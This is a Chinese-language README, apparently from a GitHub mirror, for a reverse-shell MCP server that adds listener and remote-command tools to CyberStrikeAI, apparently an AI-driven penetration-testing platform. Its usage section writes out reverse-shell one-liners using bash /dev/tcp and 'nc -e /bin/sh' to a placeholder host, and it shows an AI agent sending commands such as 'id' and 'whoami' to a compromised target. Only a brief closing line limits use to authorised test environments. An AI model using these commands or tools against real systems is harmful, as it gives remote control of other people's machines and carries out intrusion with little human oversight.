mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-05-07 18:17:00 +02:00
67 lines
2.8 KiB
Markdown
67 lines
2.8 KiB
Markdown
# 反向 Shell MCP
|
||
|
||
[English](README.md)
|
||
|
||
通过**外部 MCP** 为 CyberStrikeAI 增加**反向 Shell** 能力:开启/停止 TCP 监听、与已连接目标交互执行命令,**无需修改后端代码**。
|
||
|
||
## 工具说明
|
||
|
||
| 工具 | 说明 |
|
||
|------|------|
|
||
| `reverse_shell_start_listener` | 在指定端口启动 TCP 监听,等待目标机反向连接。 |
|
||
| `reverse_shell_stop_listener` | 停止监听并断开当前客户端。 |
|
||
| `reverse_shell_status` | 查看状态:是否监听、端口、是否已连接及客户端地址。 |
|
||
| `reverse_shell_send_command` | 向已连接的反向 Shell 发送命令并返回输出。 |
|
||
| `reverse_shell_disconnect` | 仅断开当前客户端,不停止监听(可继续等待新连接)。 |
|
||
|
||
## 依赖
|
||
|
||
- Python 3.10+
|
||
- 使用项目自带 venv 时已包含 `mcp`;单独运行需:`pip install mcp`
|
||
|
||
## 在 CyberStrikeAI 中接入
|
||
|
||
1. **路径**
|
||
例如项目根为 `/path/to/CyberStrikeAI-main`,则脚本路径为:
|
||
`/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py`
|
||
|
||
2. **Web 界面** → **设置** → **外部 MCP** → **添加外部 MCP**,填入以下 JSON(将路径替换为你的实际路径):
|
||
|
||
```json
|
||
{
|
||
"reverse-shell": {
|
||
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
|
||
"args": ["/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"],
|
||
"description": "反向 Shell:开启/停止监听、与目标交互执行命令",
|
||
"timeout": 60,
|
||
"external_mcp_enable": true
|
||
}
|
||
}
|
||
```
|
||
|
||
- `command`:建议使用项目 **venv** 中的 Python,或系统 `python3`。
|
||
- `args`:**必须使用绝对路径** 指向 `mcp_reverse_shell.py`。
|
||
- 保存后点击该 MCP 的 **启动**,即可在对话中通过 AI 调用上述工具。
|
||
|
||
3. **使用流程示例**
|
||
- 调用 `reverse_shell_start_listener(4444)` 在 4444 端口开始监听。
|
||
- 在目标机上执行反向连接,例如:
|
||
- Linux: `bash -i >& /dev/tcp/YOUR_IP/4444 0>&1` 或 `nc -e /bin/sh YOUR_IP 4444`
|
||
- 或使用 msfvenom 生成 payload 等。
|
||
- 连接成功后,用 `reverse_shell_send_command("id")`、`reverse_shell_send_command("whoami")` 等与目标交互。
|
||
- 需要时用 `reverse_shell_status` 查看状态,用 `reverse_shell_disconnect` 仅断开客户端,用 `reverse_shell_stop_listener` 完全停止监听。
|
||
|
||
## 本地单独运行(可选)
|
||
|
||
```bash
|
||
# 在项目根目录,使用 venv
|
||
./venv/bin/python mcp-servers/reverse_shell/mcp_reverse_shell.py
|
||
```
|
||
|
||
进程通过 stdio 与 MCP 客户端通信;CyberStrikeAI 以 stdio 方式启动该脚本时行为相同。
|
||
|
||
## 安全提示
|
||
|
||
- 仅在有授权、隔离的测试环境中使用。
|
||
- 监听在 `0.0.0.0`,若端口对外暴露存在风险,请通过防火墙或网络策略限制访问。
|